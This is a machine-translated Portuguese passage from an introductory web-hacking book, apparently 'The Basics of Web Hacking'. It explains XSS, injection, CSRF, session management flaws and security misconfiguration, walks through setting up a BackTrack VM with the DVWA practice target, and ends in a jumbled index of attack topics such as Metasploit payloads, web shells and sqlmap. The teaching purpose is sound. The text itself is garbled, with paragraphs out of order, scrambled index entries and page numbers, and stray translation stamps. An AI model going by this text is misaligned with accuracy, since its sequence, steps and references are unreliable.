imaginar! Um hacker pode injetar script malicioso (muitas vezes</p><p>J avaScript, mas também pode ser VBScript) que é renderizado no navegador da vítima. Como esse script</p><p>faz parte da resposta do aplicativo, o navegador da vítima confia nele e permite que o script seja executado.</p><p>ÿ Consultas em linguagem de consulta estruturada</p><p>(SQL) ÿ Consultas de protocolo leve de acesso a diretório (LDAP)</p><p>ÿ Consultas em linguagem de caminho XML</p><p>(XPATH) ÿ Comandos do sistema</p><p>operacional (SO) Sempre que a entrada do usuário for aceita pelo aplicativo Web e processada sem a</p><p>limpeza apropriada, pode ocorrer injeção. Isso significa que o hacker pode influenciar como as consultas e</p><p>comandos da aplicação web são construídos e quais dados devem ser incluídos nos resultados. Esta é uma</p><p>exploração muito poderosa!</p><p>Ambos os tipos de XSS têm as mesmas cargas; eles apenas são entregues de maneiras diferentes.</p><p>Autenticação quebrada e gerenciamento de sessão Sessões são os identificadores</p><p>exclusivos atribuídos aos usuários após a autenticação e apresentam muitas vulnerabilidades ou ataques</p><p>associados à forma como esses identificadores são usados pelo aplicativo da web. As sessões também são</p><p>um componente chave para hackear o usuário da web.</p><p>As funções do aplicativo relacionadas à autenticação e ao gerenciamento de sessões geralmente não são</p><p>Machine Translated by Google</p><p>Eu imagino fazer login depois de pesquisar um produto, novamente quando quiser adicioná-lo ao carrinho</p><p>de compras, novamente quando quiser finalizar a compra e novamente quando quiser fornecer suas</p><p>informações de pagamento. Portanto, o gerenciamento de sessões foi criado para que os usuários só</p><p>precisassem fazer login uma vez por visita e o aplicativo da web lembraria qual usuário adicionou quais</p><p>produtos ao carrinho de compras. A má notícia é que a autenticação e o gerenciamento de sessões são</p><p>uma reflexão tardia em comparação com a Internet original. Não havia necessidade de autenticação e</p><p>gerenciamento de sessões quando não havia compras ou pagamento de contas. Portanto, a Internet</p><p>como a conhecemos atualmente foi distorcida e distorcida para fazer uso de autenticação e gerenciamento</p><p>de sessões.</p><p>Cross-Site Request Forgery CSRF ocorre</p><p>quando um hacker é capaz de enviar uma solicitação bem elaborada, mas maliciosa, a um usuário</p><p>autenticado que inclui os parâmetros (variáveis) necessários para concluir uma solicitação de aplicativo</p><p>válida sem que a vítima (usuário) perceba. .</p><p>Isto é semelhante ao XSS refletido, pois o hacker deve coagir a vítima a realizar alguma ação na</p><p>aplicação web. O script malicioso ainda pode ser executado no navegador da vítima, mas o CSRF</p><p>também pode executar uma solicitação válida feita ao aplicativo da web. Alguns resultados do CSRF são</p><p>a alteração de uma senha, a criação de um novo usuário ou a criação de conteúdo de aplicativo da web</p><p>por meio de um CMS. Desde que o hacker saiba exatamente quais parâmetros são necessários para</p><p>concluir a solicitação e a vítima esteja autenticada no aplicativo, a solicitação será executada como se o</p><p>usuário a tivesse feito conscientemente.</p><p>A funcionalidade do aplicativo da web que está sob a égide da autenticação também inclui redefinição de</p><p>senha, alteração de senha e recuperação de conta, para citar alguns.</p><p>Sem o gerenciamento de sessão, você teria que fazer login após cada solicitação feita.</p><p>Um aplicativo da web usa gerenciamento de sessão para acompanhar as solicitações de cada usuário.</p><p>implementado corretamente, permitindo que hackers comprometam senhas, chaves, tokens de sessão</p><p>ou explorem outras falhas de implementação para assumir a identidade de outros usuários.</p><p>Configuração incorreta de segurança Esta</p><p>categoria de vulnerabilidade trata especificamente da segurança (ou falta dela) de toda a pilha de</p><p>aplicativos. Para aqueles que não estão familiarizados com o termo “pilha de aplicativos”, ele se refere</p><p>ao sistema operacional, servidor web e sistemas de gerenciamento de banco de dados que são</p><p>executados e acessados pelo código real do aplicativo web. O risco se torna ainda mais problemático</p><p>quando práticas de reforço de segurança não são seguidas para melhor proteger o servidor web contra</p><p>acesso não autorizado. Exemplos de vulnerabilidades que podem afetar o servidor Web incluem: ÿ</p><p>Software desatualizado ou desnecessário ÿ</p><p>Serviços desnecessários ativados ÿ</p><p>Políticas de conta inseguras ÿ</p><p>Mensagens de erro detalhadas</p><p>A segurança eficaz requer ter uma configuração segura definida e implementada para o aplicativo,</p><p>estruturas e servidor de aplicativos , servidor web, servidor de banco de dados e operação</p><p>Machine Translated by Google</p><p>Devido à sua popularidade, existem muitas máquinas virtuais pré-configuradas que podemos usar.</p><p>Ter sistemas já instalados economiza tempo durante a configuração e permite que você acesse o material real</p><p>sobre hacking na web mais cedo e com menos complicações.</p><p>1. Porque você hospedará este aplicativo da web vulnerável por conta própria</p><p>computador, é fundamental configurá-lo de uma forma que não exponha seu computador a</p><p>ataques.</p><p>2. Você usará ferramentas de hacking que não são autorizadas fora do seu âmbito pessoal.</p><p>Se o VMWare Player não for sua solução preferida, sinta-se à vontade para usar qualquer produto de</p><p>virtualização com o qual você se sinta confortável. O fornecedor e o produto exatos não são tão importantes</p><p>quanto a capacidade de instalar, configurar e executar os sistemas virtualizados necessários.</p><p>Neste livro, trabalharemos em uma máquina virtual que será usada tanto para hospedar a aplicação web</p><p>vulnerável (alvo) quanto para hospedar todas as nossas ferramentas de hacking (aacker).</p><p>uso, por isso é igualmente crítico ter um ambiente que não permita que essas ferramentas escapem</p><p>inadvertidamente.</p><p>BackTrack será usado para esta máquina virtual e está disponível para download no</p><p>site</p><p>3. Você certamente “quebrará” o aplicativo da web ou servidor da web à medida que avança</p><p>ao longo do livro, por isso é fundamental que você tenha um ambiente que possa ser facilmente</p><p>configurado inicialmente, bem como “apertar o botão de reinicialização” para voltar a um estado em</p><p>que você sabe que tudo está configurado corretamente.</p><p>Existem inúmeras maneiras de instalar e configurar esse ambiente, mas durante este livro serão usadas</p><p>máquinas virtuais. Uma máquina virtual (VM), quando configurada corretamente, atende a todos os três requisitos</p><p>do nosso ambiente de teste. Uma VM é simplesmente uma implementação de software de um ambiente de</p><p>computação executado em outro computador (host). A VM faz solicitações de recursos, como ciclos de</p><p>processamento e uso de memória RAM, ao computador host, o que permite que a VM se comporte da mesma</p><p>maneira que os sistemas operacionais tradicionalmente instalados. No entanto, uma VM pode ser desativada,</p><p>movida, restaurada, revertida e excluída com muita facilidade com apenas algumas teclas ou cliques do mouse.</p><p>Você também pode executar várias VMs diferentes ao mesmo tempo, o que permite criar uma rede virtualizada</p><p>de VMs, todas executadas em seu único computador host. Esses fatores tornam um ambiente de teste virtualizado</p><p>a escolha certa para nós.</p><p>sistema. Todas essas configurações devem ser definidas, implementadas e mantidas, pois muitas não são</p><p>fornecidas com padrões seguros. Isso inclui manter todo o software atualizado, incluindo todas as bibliotecas de</p><p>código usadas pelo aplicativo.</p><p>Embora você tenha muitas opções quando se trata de software de virtualização, neste livro usaremos o popular</p><p>VMWare Player, disponível gratuitamente em http://www.vmware.com.</p><p>Configurando um ambiente de teste Antes de se</p><p>aprofundar nas ferramentas e técnicas abordadas no livro, é importante configurar um ambiente seguro para uso.</p><p>Como este é um livro introdutório e prático, praticaremos todas as técnicas abordadas em um aplicativo Web</p><p>vulnerável. Há três requisitos principais que você precisa considerar ao criar um ambiente de teste à medida que</p><p>avança no livro.</p><p>Machine Translated by Google</p><p>4. Faça login no BackTrack com o usuário root e senha toor .</p><p>5. Use o comando startx para iniciar a interface gráfica do usuário (GUI) do BackTrack.</p><p>Aplicativo da Web de destino O aplicativo</p><p>da Web vulnerável (DVWA) será usado para o aplicativo da Web de destino e pode ser pesquisado mais</p><p>detalhadamente em sua página inicial em http://www.dvwa.co.uk/. DVWA é um aplicativo da web PHP/MySQL</p><p>vulnerável por design para ajudar os profissionais de segurança a testar suas habilidades e ferramentas em um</p><p>ambiente seguro e legal. Também é usado para ajudar os desenvolvedores da web a entender melhor os</p><p>processos de proteção de aplicativos da web.</p><p>No entanto, o DVWA não está disponível nativamente como uma VM, então você teria que criar sua própria VM</p><p>e, em seguida, instalar e configurar o DVWA para ser executado dentro desta nova VM. Se for do seu interesse,</p><p>as instruções de instalação e os arquivos necessários para download estão disponíveis no site da DVWA.</p><p>Para nossos propósitos, acessaremos o DVWA executando-o localmente na VM BackTrac via http://localhost</p><p>ou no endereço IP 127.0.0.1. Hospedaremos nosso aplicativo de destino (DVWA) e as ferramentas de hacking em</p><p>nossa BackTrack VM. Isso significa que você terá tudo o que precisa em uma VM e usará menos recursos do</p><p>sistema.</p><p>6. Abra um terminal clicando no ícone Terminal no canto superior esquerdo dele, conforme mostrado em</p><p>a tela. É aquele que se parece com uma tela de computador com > Figura 1.1. É aqui que</p><p>inseriremos comandos (instruções) para uma infinidade de ferramentas BackTrack!</p><p>Instalando o aplicativo Web de destino Para configurar nosso</p><p>ambiente de hacking seguro, primeiro precisamos baixar uma VM BackTrack e configurá-la para hospedar o</p><p>aplicativo Web de destino DVWA. As etapas a seguir leem a VM BackTrack para instalação do DVWA.</p><p>_</p><p>1. Baixe uma máquina virtual BackTrack em http://www.backtrack-linux.org/downloads/.</p><p>2. Extraia o arquivo. Arquivo 7z da máquina virtual BackTrack.</p><p>3. Inicie a VM BackTrack clicando duas vezes no arquivo .vmx na pasta BackTrack.</p><p>Página inicial do BackTrack Linux, localizada em http://www.backtrack-linux.org/downloads/.</p><p>Se solicitado, selecione Eu copiei e selecione OK.</p><p>Hoje, o BackTrack é amplamente aceito como o principal sistema operacional voltado para a segurança. Sempre</p><p>há esforços para atualizar e melhorar o ambiente de teste do hacker e o recente lançamento do Kali Linux</p><p>certamente ganhará grande popularidade. No entanto, iremos nos ater ao BackTrack ao longo do livro. BackTrack</p><p>inclui centenas de ferramentas de nível profissional para hacking, reconhecimento, análise forense digital, difusão,</p><p>caça a bugs, exploração e muitas outras técnicas de hacking. As ferramentas e comandos necessários no</p><p>BackTrack aplicáveis à nossa abordagem serão abordados detalhadamente à medida que forem apresentados.</p><p>Machine Translated by Google</p><p>http://www.backtrack-linux.org/downloads/</p><p>que termina com Instalação DVWA concluída!\n.</p><p>3. Abra o Editor de Texto gedit no BackTrack clicando em Aplicativos e depois</p><p>Acessórios.</p><p>Um</p><p>alerta Para solucionar problemas da capacidade da sua VM de usar a conexão de Internet da</p><p>máquina host, verifique as configurações do adaptador de rede da sua VM no VM Player, se</p><p>necessário. Estamos usando a configuração de rede NAT.</p><p>2. Selecione e copie o script inteiro começando com #/bin/bash e terminando na última linha</p><p>1. Navegue até http://theunl33t.blogspot.com/2011/08/script-to-download-configure-and-launch.html no</p><p>Firefox (clicando em Aplicativos e depois em Internet) em sua VM BackTrack para visualizar</p><p>o DVWA script de instalação criado pela equipe do The Unl33t. Um link para esse script também</p><p>está incluído posteriormente neste capítulo para sua referência.</p><p>Depois de fazer login com sucesso no BackTrack, conclua as etapas a seguir para instalar o DVWA como o</p><p>aplicativo de destino. Isso exigirá uma conexão ativa com a Internet, para garantir que sua máquina host possa</p><p>navegar na Internet abrindo um navegador Firefox para testar a conectividade.</p><p>mostrado na Figura 1.2.</p><p>4. Cole o script e salve o arquivo como DVWA_install.sh no diretório raiz como</p><p>FIGURA 1.1 Abrindo um terminal no BackTrack.</p><p>Machine Translated by Google</p><p>7. Execute o script de instalação executando o comando sh DVWA_install.sh em um</p><p>terminal. O progresso da instalação será mostrado no terminal e uma janela do</p><p>navegador para a página de login do DVWA será aberta quando concluída com</p><p>sucesso.</p><p>Configurando o aplicativo da Web de destino Depois que o</p><p>DVWA for instalado com sucesso, conclua as etapas a seguir para fazer login e personalizar o</p><p>aplicativo da Web: 1. Faça login</p><p>no DVWA com o nome de usuário do administrador e a senha , conforme mostrado em</p><p>6. Abra um terminal e execute o comando</p>Método de 
exploração do navegador Metasploit, 
comando de exploração 121 , 39–40
Hacking de rede, Veja hacking de servidor Web
pesquisa, 35–36
Nikto, 31–34
definir opção, 39 
definir carga útil, 37–
38 mostrar opções, 38–39, 38b 
mostrar cargas úteis, 36–37
Alerta 
Nmap, 25b
usar, 36
Mecanismo de script Nmap, 25–27 em 
execução, 24–25 
atualização, 23–24
Método web de múltiplos ataques, 122
Ó
Host local (LHOST), 38
N
Machine Translated by Google
Quebrador de senha on-line, 73–74
descoberta de diretório, 101, 101f 
recuperação de arquivo /etc/passwd, 102–103, 102f 
estrutura de diretório parcial, 100, 100f comando 
de diretório, 102
Manual de metodologia de teste de segurança de código aberto (OSSTM), 8
Correções de passagem de caminho, 131–132
Banco de dados de vulnerabilidades de código aberto (OSVDB), 34
Padrão de execução de teste de penetração (PTES), 8
Exercício de execução de comando de injeção de 
comando do sistema operacional (SO), 80–82
Varredura de porta, Nmap
para hackers, 79-80
Mecanismo de script Nmap, 25–27 em 
execução, 24–25 
atualização, 23–24
P
R
Ataques de travessia de caminho
Referente, 5
navegação forçada, 103
Ataques XSS refletidos
Cracker de senha offline, 73–74
estrutura de arquivos do servidor web
codificação de cargas úteis XSS, ataque 
de prova de conceito 114–115 , requisitos 
112, 112f , resposta do servidor 
111, 111f , interceptação de, 113–114 em identificadores 
de sessão, 116, 117f
Machine Translated by Google
Host remoto (RHOST), 38
Caixa de areia
Arquivo Robots.txt, 21–23
BackTrack, 12–13, 14f
controle de acesso quebrado, 51
navegação forçada, 52 
falhas lógicas, 52
S
Script de instalação DVWA, 
requisitos 17–18 , 
configuração do aplicativo 
web de destino 11–12 , 14–17
Ambiente de teste seguro
DVWA, 13
BackTrack, 12–13, 14f
instalação, 13–14 
máquina virtual (VM), 12
Script de instalação DVWA, 
requisitos 17–18 , 
configuração do aplicativo 
web de destino 11–12 , 14–17
Jogador VMWare, 12
DVWA, 13
Scanner, aplicativo da web
instalação, 13–14 
máquina virtual (VM), 12
Scanner de arrotos, 58–62
na barra de endereço URL, 116
Jogador VMWare, 12
deficiências
Machine Translated by Google
ataques de sessão, 52
Eventos do lado B, 138-139
injeção SQL armazenada, 51 
senhas fracas, 51
DakotaCon, 138
resultados de nível de bit, 97, 
99f descrição, 96 
resultados de entropia, 97, 98f 
identificação do identificador de sessão, 96, 97f
vulnerabilidades
DerbyCon, 138 em 
Las Vegas, 138
baseado em entrada, lado do cliente, 
50 baseado em entrada, lado do 
servidor, 50 ciclo de solicitação e resposta, 51
ShmooCon, 138
ZAP, 52–58
educação formal, 140
Grupos comunitários de segurança 
livros adicionais, 141
workshops de treinamento presenciais e on-line, 139–140 regionais e 
locais, 139
certificações, 140–141
Configuração incorreta de segurança, 11
e eventos
Ataques de sessão
nomes de parâmetros significativos, 51 XSS 
armazenados em várias etapas, 52
AppSecUSA, 138
Testes do sequenciador de arrotos
Machine Translated by Google
conceito de reutilização de cookies, 97–
100 algoritmos de geração de sessão, cracking de, 95
Kit de ferramentas de spear phishing (SPT), 123
Doação de sessão, 95
injeção SQL
Fixação de sessão, 95
Exercício DVWA
Sequestro de sessão, 95
ignorando autenticação, 68–69 objetivos, 66–
75 quebra de 
senha offline, 74–75 hashes de senha, 73–74 
sqlmap, 75–79 nome de usuário e 
senha, de 
administrador, 70–73 vulnerabilidade, 66–68
ID da sessão no URL, 95
recurso, 64
Correções de gerenciamento de sessão, 131
para hackers, 65-66
Vetores de ataque do Social-Engineer 
Toolkit (SET), 121
Intérprete SQL, ferramenta 
sqlmap 64–65 , 75–79
Endereço IP, 122
Ataques XSS armazenados
procedimento, 96
menu de boas-vindas, 120, 121f
entradas do livro de visitas, 118, 119f 
entrada e saída, 118, 118f propriedades 
de, 117
Machine Translated by Google
T
Nesso, 28–31
Método TabNabbing, 121
Nikto, 31–34
Projeto ESAPI, 126–128 
correções de injeção, 128–129 
correções de passagem de caminho, 
131–132 correções de gerenciamento de sessão, 131
tipos de injeção, 63
Ataques técnicos de engenharia social, 
107-108
C
reconhecimento
correções, 135–136
Aplicativos da web
Burp Suite Intercept, orientação 43–
45 , 42
V
servidor de banco de dados e banco de dados, 7
Máquina virtual (VM), 12
definição, 2
Jogador VMWare, 12
servidor de arquivos, 8
Verificação de vulnerabilidades
Conserta
ilustração esquemática, 117, 117f
e produtos antivírus, 27
correções de autenticação quebradas, 130–131
Machine Translated by Google
Burp Scanner, 58–62 
deficiências, 51–52
servidor web, 6
vulnerabilidades, 50–51
usuário da web, 7
Mecanismo de script Nmap, 25–27 em 
execução, 24–25
ZAP, 52–58
Método de ataque Web-Jacking, 121
desenvolvimento de segurança, 1–2 
componentes de terceiros, prontos para uso, 8
Servidor(es) Web, 3–4
ferramentas, 41
Exploração de hacking de 
servidor web
vulnerabilidade, 3
Metasploit, carga útil 35–
40 , vulnerabilidade 
34 , 34
Fases da abordagem de hacking na 
Web, 6
Conserta
ferramentas, 7
mensagens de erro genéricas, 126, proteção de 
servidor 127f , 125–126
proxy da web, verificação 
42–43
aplicativo da web, 6–7
manutenção de acesso, varredura 
de 40 portas, Nmap
Machine Translated by Google
Usuário da web
anfitrião, 20, 21
netcraft, 21
estruturas de ataque
Folha de dicas de prevenção XSS, 133
hackear
Arquivo robots.txt, 21–23
BeEFr, 123
segmentação, 20–21
CONJUNTO, 120–123
verificação de vulnerabilidades e 
produtos antivírus, 27
SPT, 123
Nesso, 28–31
XSSF, 123
Nikto, 31–34
correções, 132–136
Conchas da Web, 85
Folha de dicas de prevenção de CSRF, 135
atualização, estágio de 
reconhecimento 23–24
parâmetro de URL cmd, 86 
execução de comandos personalizados, 84, 86f 
descrição, 83 locais 
de arquivo, 84, 84f resultados 
netstat, 84, 86f shell de comando 
primitivo, 85 comando shellhelp, 84, 85f 
upload para servidor web DVWA, 83, 83f
Folha de dicas de validação de entrada, 133–134
Machine Translated by Google
Esforços de reconhecimento de XSS (consulte 
Cross-site scripting (XSS)) , 108–109
XSSF, consulte Estrutura de script entre sites (XSSF)
digitalização, 109
Z
Vulnerabilidades da web
Verificação de proxy de ataque Zed (ZAP)
autenticação quebrada e gerenciamento de sessão, 10–11 falsificação de 
solicitação entre sites, 11 scripts entre 
sites, injeção 9–10 , 9
Força Bruta, 58
scanner
configuração, 52–53 revisão 
de resultados, 56–57 execução, 
54–56
baseado em entrada, lado do cliente, 
50 baseado em entrada, lado do 
servidor, 50 ciclo de solicitação e resposta, 51
configuração incorreta de segurança, 11
X
Ataques técnicos de engenharia social de CSRF (consulte 
falsificação de solicitação entre sites (CSRF)) , 107–108
XSS, consulte scripts entre sites (XSS)
Machine Translated by Google
Machine Translated by Google